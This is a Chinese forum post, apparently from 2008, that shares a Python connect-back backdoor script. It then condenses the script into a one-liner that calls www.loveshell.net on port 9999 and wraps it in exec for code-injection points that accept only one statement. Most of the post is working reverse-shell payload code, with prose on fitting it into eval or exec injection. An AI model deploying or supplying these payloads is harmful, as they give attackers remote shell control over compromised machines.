logo

当前栏目:社区首页->软件开发->脚本语言(Perl,Python,Ruby等) 转到:在该栏目发表文章社区后台管理搜索
在漏洞利用Python代码真的很爽
作者: keven 日期: 08-04-04, 17:46
不知道怎么忽然想看这个,呵呵

MegaEntry 网络社区与信息交流平台!

小我的python的反shell的代码 #!/usr/bin/pythonPython Connect-back Backdoor # Author: wofeiwo <wofeiwo[0x40]gmail[0x2e]com> # Version: 1.0 # Date: July 15th 2006 import sys import os import socket shell =  "/bin/sh " def usage(programname):   print  "Python Connect-back Backdoor "   print  "Auther: wofeiwo <wofeiwo[0x40]gmail[0x2e]com> "   print  "Date: July 15th 2006 "   print  "Usage: %s <conn_back_host> <port> " % programname def main():

文章版权归原作者所有! (www.MegaEntry.com)

  if len(sys.argv) != 3:      usage(sys.argv[0])     sys.exit(1)   s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)   try:      s.connect((socket.gethostbyname(sys.argv[1]),int(sys.argv[2])))     print  "[+] Connect ok. "    except:      print  "[-] Could not connect to %s:%s " % (sys.argv[1], sys.argv[2])      sys.exit(2)   s.send( "-------------------- Python Connect-back Backdoor -------------------- ")   s.send( "----------------------------- By wofeiwo ----------------------------- ")   os.dup2(s.fileno(), 0)   os.dup2(s.fileno(), 1)   os.dup2(s.fileno(), 2)   global shell

MegaEntry 网络社区与信息交流平台!

  os.system(shell)   print  "See U! "   s.close() if __name__ ==  "__main__ ": main() 用在漏洞利用的时候不太好,不是么?我们想要短点的,节省下就是 import sys;import os;import socket;s = socket.socket(socket.AF_INET, socket.SOCK_STREAM);s.connect((socket.gethostbyname( "www.loveshell.net "),9999));s.send( "Welcome my master ");os.dup2(s.fileno(), 0);os.dup2(s.fileno(), 1);os.dup2(s.fileno(), 2);s.send( "Is there a shell? ");os.system( "/bin/bash ");s.close();s.send( "See u next time! "); 如何?很短了吧? 不过很可能漏洞利用的地方不允许多语句,譬如允许的输入是在eval当中,不能多语句(后面有解释)那么还可以变化下 exec  'import sys;import os;import socket;s = socket.socket(socket.AF_INET, socket.SOCK_STREAM);s.connect((socket.gethostbyname( "www.loveshell.net "),9999));s.send( "Welcome my master\r\n ");os.dup2(s.fileno(), 0);os.dup2(s.fileno(), 1);os.dup2(s.fileno(), 2);s.send( "Is there a shell?\r\n ");os.system( "/bin/bash ");s.close();s.send( "See u next time!\r\n "); '; 注意是\r\n哦,即使在 ' '里好象 一样会成为换行,所以其实这里即使不用;一样可以构造好代码的,另外,为什么不用eval呢? 翻了下手册 exec语句用来执行储存在字符串或文件中的Python语句。例如,我们可以在运行时生成一个包含Python代码的字符串,然后使用exec语句执行这些语句

文章版权归原作者所有! (www.MegaEntry.com)

eval语句用来计算存储在字符串中的有效Python表达式 呵呵,这里用eval好象会出错. YY一下,思想是相同的,但是具体到语言又是不一样的,如何跳出语言的限制呢?是个问题......

上一篇:推荐下python/ironpython:从入门到精通下一篇:python编程-将Python程序转化为可执行程序[整...

回复
标题: 

强烈建议采用IE 6.0或以上的浏览器